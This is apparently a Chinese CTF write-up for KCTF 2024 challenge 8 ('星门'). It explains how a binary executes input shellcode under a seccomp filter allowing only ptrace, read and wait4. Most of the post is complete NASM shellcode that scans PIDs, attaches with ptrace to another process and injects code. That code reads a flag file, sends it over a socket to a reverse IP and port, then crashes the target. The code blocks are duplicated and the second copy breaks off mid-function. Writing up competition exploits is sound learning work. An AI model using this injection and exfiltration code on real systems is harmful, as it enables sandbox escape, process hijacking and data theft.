-
-
[原创]KCTF 2024 第八题 星门 WriteUp
-
发表于: 2024-9-1 00:10 3606
-
用ida打开程序power
, 其main
函数为:
init
函数中取消了stdin stdout stderr
的缓存;
其后在read读取输入后直接将输入作为代码执行setup_seccomp
函数为:
设置了系统调用的过滤, 只允许ptrace read wait4
拥有ptrace
与wait4
能力允许程序注入其他未被过滤的进程执行任意代码.
接下来可以选择控制其他进程反连ip获得flag
或者考虑控制其他进程ptracepower
进程, 用这段代码的方法绕过seccomp的限制
前者需要公网ip或尝试ipv6, 后者不需要;
这里我采用了前者并使用nasm编写shellcode;
思路是从pid为0开始递增尝试ptrace_attach
, 成功了就注入giveflag的代码让目标进程读取flag吐给远程ip.
ubuntu
系统中进程崩溃时日志位于/var/log/apport.log
,查看该log可以得到core dump
文件路径
用gdb --core=path
查看该进程因何崩溃可以对注入的shellcode进行debug.
init();
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
setup_seccomp();
read(0, buf, 0x1000uLL);
((
void
(__fastcall *)())buf)();
munmap(buf, 0x1000uLL);
return
0;
init();
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
setup_seccomp();
read(0, buf, 0x1000uLL);
((
void
(__fastcall *)())buf)();
munmap(buf, 0x1000uLL);
return
0;
__int64
setup_seccomp()
{
__int64
v1;
// [rsp+8h] [rbp-8h]
v1 = seccomp_init(0LL);
if
( !v1 )
{
perror
(
"seccomp_init"
);
exit
(1);
}
if
( (
int
)seccomp_rule_add(v1, 0x7FFF0000LL, 101LL, 0LL) < 0
// sys_ptrace
|| (
int
)seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL) < 0
// sys_read
|| (
int
)seccomp_rule_add(v1, 0x7FFF0000LL, 61LL, 0LL) < 0 )
// sys_wait4
{
perror
(
"seccomp_rule_add"
);
seccomp_release(v1);
exit
(1);
}
if
( (
int
)seccomp_load(v1) < 0 )
{
perror
(
"seccomp_load"
);
seccomp_release(v1);
exit
(1);
}
return
seccomp_release(v1);
}
__int64
setup_seccomp()
{
__int64
v1;
// [rsp+8h] [rbp-8h]
v1 = seccomp_init(0LL);
if
( !v1 )
{
perror
(
"seccomp_init"
);
exit
(1);
}
if
( (
int
)seccomp_rule_add(v1, 0x7FFF0000LL, 101LL, 0LL) < 0
// sys_ptrace
|| (
int
)seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL) < 0
// sys_read
|| (
int
)seccomp_rule_add(v1, 0x7FFF0000LL, 61LL, 0LL) < 0 )
// sys_wait4
{
perror
(
"seccomp_rule_add"
);
seccomp_release(v1);
exit
(1);
}
if
( (
int
)seccomp_load(v1) < 0 )
{
perror
(
"seccomp_load"
);
seccomp_release(v1);
exit
(1);
}
return
seccomp_release(v1);
}
struc iovec
.iov_base resq
1
.iov_len resd
1
.pad resd
1
endstruc
struc user_regs
.r15 resq
1
.r14 resq
1
.r13 resq
1
.r12 resq
1
.rbp resq
1
.rbx resq
1
.r11 resq
1
.r10 resq
1
.r9 resq
1
.r8 resq
1
.rax resq
1
.rcx resq
1
.rdx resq
1
.rsi resq
1
.rdi resq
1
.orig_rax resq
1
.rip resq
1
.cs resq
1
.flags resq
1
.rsp resq
1
.ss resq
1
.fs_gase resq
1
.gs_gase resq
1
.ds resq
1
.es resq
1
.fs resq
1
.gs resq
1
endstruc
struc sockaddr
.family resw
1
.port resw
1
.addr resd
1
.pad resq
1
endstruc
start:
jmp main
flagpath:
db
'/home/sectest/flag'
,
0
giveflag:
xor rdx, rdx
xor rsi, rsi
call .get_addr
.get_addr:
pop rdi
sub rdi,
30
mov rax,
2
; sys_open
syscall
sub rsp,
0x80
push rax ; flag fd
mov rdx,
0x80
lea rsi, [rsp
+
8
]
mov rdi, rax
mov rax,
0
; sys_read
syscall
pop rdi ; flag fd
push rax ; size
mov rax,
3
; sys_close
syscall
mov rdx,
0
mov rsi,
1
; SOCK_STREAM
mov rdi,
2
; AF_INET
mov rax,
0x29
; sys_socket
syscall
push rax ; socket fd
mov rdx,
0x10
mov rdi, rax
sub rsp, sockaddr_size
mov word [rsp
+
sockaddr.family],
2
mov word [rsp
+
sockaddr.port],
0x1d09
; reverse port
mov dword [rsp
+
sockaddr.addr],
0x01020304
; reverse ip,
0x01020304
is
4.3
.
2.1
mov rsi, rsp
mov rax,
0x2a
; sys_connect
syscall
add rsp, sockaddr_size
pop rdi ; socket fd
pop rdx ; size
mov rsi, rsp ; flag content
push rdi
mov rax,
1
; sys_write
syscall
pop rdi ; socket fd
mov rax,
3
; sys_close
syscall
mov byte [
0
],
0
; crash target, cause service restart
ptrace_attach:
push rsi
push r10
push rdx
push rdi
xor r10, r10
xor rdx, rdx
mov rsi, rdi
mov rdi,
16
mov rax,
101
syscall
cmp
rax,
0
jl .ret
mov rdi, [rsp]
mov rdx,
2
call waitpid
xor rax, rax
.ret:
pop rdi
pop rdx
pop r10
pop rsi
ret
waitpid:
push rsi
push r10
xor r10, r10
push rax
mov rsi, rsp
mov rax,
61
; wait4(pid:rdi, &status:rsp, opt:rdx,
0
)
syscall
pop rax ;
return
status
pop r10
pop rsi
ret
ptrace_cont:
push r10
push rdx
push rsi
push rdi
xor r10, r10
xor rdx, rdx
mov rsi, rdi ; pid
mov rdi,
7
; PTRACE_CONT
mov rax,
101
syscall
pop rdi
pop rsi
pop rdx
pop r10
ret
ptrace_write:
push rbx
push r10
push rdx
push rsi
push rdi
mov rdx, rsi
mov rsi, rdi
mov rdi,
4
xor rbx, rbx
.loop:
cmp
rbx, [rsp
+
0x18
]
jge .ret
mov r10, [rsp
+
0x10
]
mov r10, [r10
+
rbx]
mov rax,
101
syscall
add rdx,
8
add rbx,
8
jmp .loop
.ret:
pop rdi
pop rsi
pop rdx
pop r10
pop rbx
ret
ptrace_setregs:
push rdi
push r10
push rdx
sub rsp, iovec_size
mov [rsp
+
iovec.iov_base], rsi
mov dword [rsp
+
iovec.iov_len], user_regs_size
mov r10, rsp
mov rdx,
1
mov rsi, rdi
mov rdi,
0x4205
mov rax,
101
syscall
add rsp, iovec_size
pop rdx
pop r10
pop rdi
ret
ptrace_getregs:
push r10
push rdx
push rdi
sub rsp, iovec_size
mov [rsp
+
iovec.iov_base], rsi
mov qword [rsp
+
iovec.iov_len], user_regs_size
mov r10, rsp
mov rdx,
1
mov rsi, rdi
mov rdi,
0x4204
mov rax,
101
syscall
add rsp, iovec_size
pop rdi
pop rdx
pop r10
ret
main:
xor rdi, rdi
.pid_loop:
call ptrace_attach
cmp
rax,
0
jge .pid_out
inc rdi
jmp .pid_loop
.pid_out:
sub rsp, user_regs_size
mov rsi, rsp
call ptrace_getregs
mov r10,
0xb8
; flagpath
+
giveflag aligned size
mov rdx, [rbp
-
0x10
] ; code base
add rdx,
5
; jmp inst size
mov rsi, [rsp
+
user_regs.rip]
and
rsi,
0xfffffffffffffff8
call ptrace_write
mov rcx, rsi
add rcx,
21
mov [rsp
+
user_regs.rip], rcx
mov rsi, rsp
call ptrace_setregs
.cont_loop:
call ptrace_cont
mov rdx,
2
call waitpid
and
rax,
0xff
cmp
rax,
0x7f
jne .cont_loop
add rsp, user_regs_size
ret
struc iovec
.iov_base resq
1
.iov_len resd
1
.pad resd
1
endstruc
struc user_regs
.r15 resq
1
.r14 resq
1
.r13 resq
1
.r12 resq
1
.rbp resq
1
.rbx resq
1
.r11 resq
1
.r10 resq
1
.r9 resq
1
.r8 resq
1
.rax resq
1
.rcx resq
1
.rdx resq
1
.rsi resq
1
.rdi resq
1
.orig_rax resq
1
.rip resq
1
.cs resq
1
.flags resq
1
.rsp resq
1
.ss resq
1
.fs_gase resq
1
.gs_gase resq
1
.ds resq
1
.es resq
1
.fs resq
1
.gs resq
1
endstruc
struc sockaddr
.family resw
1
.port resw
1
.addr resd
1
.pad resq
1
endstruc
start:
jmp main
flagpath:
db
'/home/sectest/flag'
,
0
giveflag:
xor rdx, rdx
xor rsi, rsi
call .get_addr
.get_addr:
pop rdi
sub rdi,
30
mov rax,
2
; sys_open
syscall
sub rsp,
0x80
push rax ; flag fd
mov rdx,
0x80
lea rsi, [rsp
+
8
]
mov rdi, rax
mov rax,
0
; sys_read
syscall
pop rdi ; flag fd
push rax ; size
mov rax,
3
; sys_close
syscall
mov rdx,
0
mov rsi,
1
; SOCK_STREAM
mov rdi,
2
; AF_INET
mov rax,
0x29
; sys_socket
syscall
push rax ; socket fd
mov rdx,
0x10
mov rdi, rax
sub rsp, sockaddr_size
mov word [rsp
+
sockaddr.family],
2
mov word [rsp
+
sockaddr.port],
0x1d09
; reverse port
mov dword [rsp
+
sockaddr.addr],
0x01020304
; reverse ip,
0x01020304
is
4.3
.
2.1
mov rsi, rsp
mov rax,
0x2a
; sys_connect
syscall
add rsp, sockaddr_size
pop rdi ; socket fd
pop rdx ; size
mov rsi, rsp ; flag content
push rdi
mov rax,
1
; sys_write
syscall
pop rdi ; socket fd
mov rax,
3
; sys_close
syscall
mov byte [
0
],
0
; crash target, cause service restart
ptrace_attach:
push rsi
push r10
push rdx
push rdi
xor r10, r10
xor rdx, rdx
mov rsi, rdi
mov rdi,
16
mov rax,
101
syscall
cmp
rax,
0
jl .ret
mov rdi, [rsp]
mov rdx,
2
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
他的文章
看原图
赞赏
雪币:
留言: